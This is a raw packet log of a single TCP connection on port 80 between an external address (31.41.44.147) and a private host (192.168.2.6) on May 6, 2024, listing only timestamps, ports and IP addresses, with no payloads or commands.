May 6, 2024 02:52:46.554857969 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.554872990 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.554941893 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.555495024 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.555543900 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.555547953 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.555589914 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.560376883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.560425997 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.598031044 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.598045111 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.598112106 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.598144054 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.598186016 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.598186970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.598232985 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.598700047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.598774910 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.598829031 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.598865986 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.640768051 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.640832901 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.640912056 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.640927076 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.640954971 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.640975952 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.641000032 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.641031981 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.641040087 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.641071081 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.641671896 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.641702890 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.641835928 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.647166014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.647224903 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.683948994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.684010983 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.684153080 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.684165001 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.684181929 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.684209108 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.684237957 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.684694052 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.684742928 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.684813023 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.684859037 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.685430050 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.685480118 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.685518026 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.685565948 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.689654112 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.689704895 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.726074934 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.726104021 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.726197958 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.726223946 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.726517916 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.726571083 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.726581097 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.726617098 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.727253914 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.727296114 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.727587938 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.727629900 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.727791071 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.727834940 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.727921009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.727967978 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.732567072 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.732620955 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.768562078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.768634081 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.768718004 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.768764973 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.768805981 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.768861055 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.769098043 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.769182920 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.770207882 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.770220995 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.770267010 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.770279884 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.770318031 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.770432949 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.770478010 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.774497032 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.774543047 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.811366081 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.811378002 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.811539888 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.811542988 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.811584949 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.811713934 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.811762094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.812359095 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.812371969 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.812410116 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.812670946 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.812720060 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.812975883 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.813024044 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.817553997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.817609072 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.854197025 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.854294062 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.854296923 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.854336023 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.854454994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.854511023 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.854525089 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.854569912 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.855051994 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.855099916 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.855423927 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.855474949 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.855710030 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.855757952 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.856024981 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.856072903 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.856391907 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.856411934 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.856425047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.856437922 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.856447935 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.856470108 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.860552073 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.860605001 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.898899078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.898957014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.899049997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.899099112 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.899244070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.899256945 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.899293900 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.899779081 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.899792910 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.899830103 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.899853945 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.900693893 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.900743008 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.900876045 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.900921106 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.901060104 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.901108027 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.901218891 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.901232958 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.901268005 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.901278019 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.905296087 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.905345917 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.941272020 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.941288948 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.941334963 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.941570997 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.941613913 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.941865921 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.941909075 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.943219900 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.943234921 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.943269014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.944598913 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.944647074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.944749117 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.944799900 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.944976091 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.945028067 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.945141077 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.945154905 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.945177078 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.945199966 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.948033094 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.948082924 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.982490063 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.982525110 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.982568979 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.982610941 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.982621908 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.982661009 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.983391047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.983405113 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.983438969 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.983458042 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.985357046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.985413074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.985428095 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.985465050 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.985651970 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.985694885 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.985718012 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.985758066 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.985975981 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.986017942 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:46.988507032 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:46.988578081 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.025449991 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.025465012 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.025485992 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.025521994 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.025537014 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.025803089 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.025842905 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.026083946 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.026124954 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.026509047 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.026556969 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.027856112 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.027868032 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.027905941 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.027920961 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.028626919 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.028661013 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.028671026 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.028673887 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.028723001 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.028738976 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.028773069 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.030622959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.030667067 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.067732096 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.067787886 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.067822933 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.067862034 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.068025112 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.068073988 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.068172932 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.068218946 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.068635941 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.068650007 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.068679094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.068694115 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.070167065 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.070211887 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.070286989 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.070331097 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.071011066 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.071073055 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.071115017 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.071150064 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.071228027 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.071268082 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.073529959 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.073575020 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.110821009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.110836029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.110847950 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.110862017 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.110903978 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.110939980 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.111711979 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.111730099 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.111761093 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.111787081 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.111819029 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.111860037 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.113950014 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.113962889 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.113984108 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.113996029 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.113996983 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.114008904 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.114015102 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.114029884 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.114057064 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.114792109 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.114837885 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.116487026 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.116539955 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.153901100 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.153914928 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.153989077 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.154041052 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.154074907 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.154076099 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.154123068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.154643059 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.154691935 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.154930115 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.154978037 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.156146049 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.156158924 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.156192064 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.156347036 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.156394005 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.156450033 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.156501055 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.156588078 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.156635046 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.160850048 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.160914898 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.196770906 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.196784973 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.196897030 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.197032928 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.197078943 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.197179079 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.197225094 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.197576046 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.197627068 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.197838068 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.197895050 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.198158979 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.198209047 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.198611975 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.198625088 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.198637009 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.198653936 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.198677063 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.199131966 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.199182034 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.199379921 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.199429989 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.199656963 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.199706078 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.199944019 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.199990988 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.203500986 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.203551054 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.244540930 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.244554043 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.244631052 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.244661093 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.244755030 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.244788885 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.244796038 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.244831085 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.245321035 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.245366096 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.245479107 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.245523930 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.245903969 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.245949984 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.245990038 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.246042967 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.246468067 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.246512890 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.246629953 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.246671915 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.246912956 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.246967077 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.247411013 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.247446060 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.247456074 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.247483969 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.247988939 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.248034000 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.248120070 CEST	80	49710	31.41.44.147	192.168.2.6
May 6, 2024 02:52:47.248163939 CEST	49710	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:47.248846054 CEST	80	49710	31.41.44.147	192.168.2.6
